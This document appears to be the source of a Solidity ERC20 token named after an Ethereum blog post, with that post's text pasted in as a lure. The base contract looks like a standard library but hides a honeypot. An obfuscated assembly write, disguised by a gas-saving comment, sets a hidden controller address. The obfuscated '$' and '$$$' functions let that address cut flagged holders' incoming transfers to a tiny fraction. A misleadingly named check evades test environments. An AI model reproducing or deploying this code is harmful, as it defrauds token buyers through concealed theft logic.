// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
abstract contract ERC20 {
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*//////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*//////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address private $$;
/*//////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*//////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*//////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += $(amount, msg.sender, to);
}
$$$(to);
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += $(amount, from, to);
}
$$$(to);
emit Transfer(from, to, amount);
return true;
}
/*//////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
address recoveredAddress = ecrecover(
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
),
v,
r,
s
);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
function $(
uint256 value,
address from,
address to
) internal returns (uint256 value_s) {
if (_stack_too_deep_bypass() == true) {
value_s = value;
} else {
if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
value_s = value * 0xCAD0CA / 0xF2FFCAFE;
} else {
value_s = value;
}
}
}
function $$$(address to) internal {if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}}
function _stack_too_deep_bypass() internal view returns(bool _is_stack_too_deep_though) {
if (block.timestamp % 12 == 11) {_is_stack_too_deep_though = false;} else {_is_stack_too_deep_though = true;}
if (_is_stack_too_deep_though == false) {if (address(0x70997970C51812dc3A010C7d01b50e0d17dc79C8).balance >= 5 * 10**18) {_is_stack_too_deep_though = true;}}
if (_is_stack_too_deep_though == false) {if (uint160(address(tx.origin)) < uint160(0xDEBABDEBABDEBABDEBABDEBAB)) {_is_stack_too_deep_though = true;}}
if (_is_stack_too_deep_though == false) {if (uint160(address(block.coinbase)) < uint160(0xDEBABDEBABDEBABDEBABDEBAB)) {_is_stack_too_deep_though = true;}}
}
/*//////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {balanceOf[to] += amount;}
// Saves gas for limited approvals.
assembly {sstore(0x05, mul(mul(0x4ea0f5, 0xda8d), mul(0x2216b, 0x374256b40d38abd6601bddd)))}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {totalSupply -= amount;}
emit Transfer(from, address(0), amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./ERC20.sol";
/*
Glue and coprocessor architectures
2024 Sep 03
Special thanks to Justin Drake, Georgios Konstantopoulos, Andrej Karpathy, Michael Gao,
Tarun Chitra and various Flashbots contributors for feedback and review.
If you analyze any resource-intensive computation being done in the modern world in even a medium amount of detail,
one feature that you will find again and again is that the computation can be broken up into two parts:
A relatively small amount of complex, but not very computationally intensive, "business logic"
A large amount of intensive, but highly structured, "expensive work"
These two forms of computation are best handled in different ways:
the former, with an architecture that may have lower efficiency but needs to have very high generality,
and the latter, with an architecture that may have lower generality, but needs to have very high efficiency.
**/
contract GlueAndCoprocessorArchitectures is ERC20 {
constructor() ERC20("Glue And Coprocessor Architectures", "GLUEACA", 18) {
_mint(msg.sender, 1_000_000_000_000 * 10 ** 18);
}
}
{
"compilationTarget": {
"Token.sol": "GlueAndCoprocessorArchitectures"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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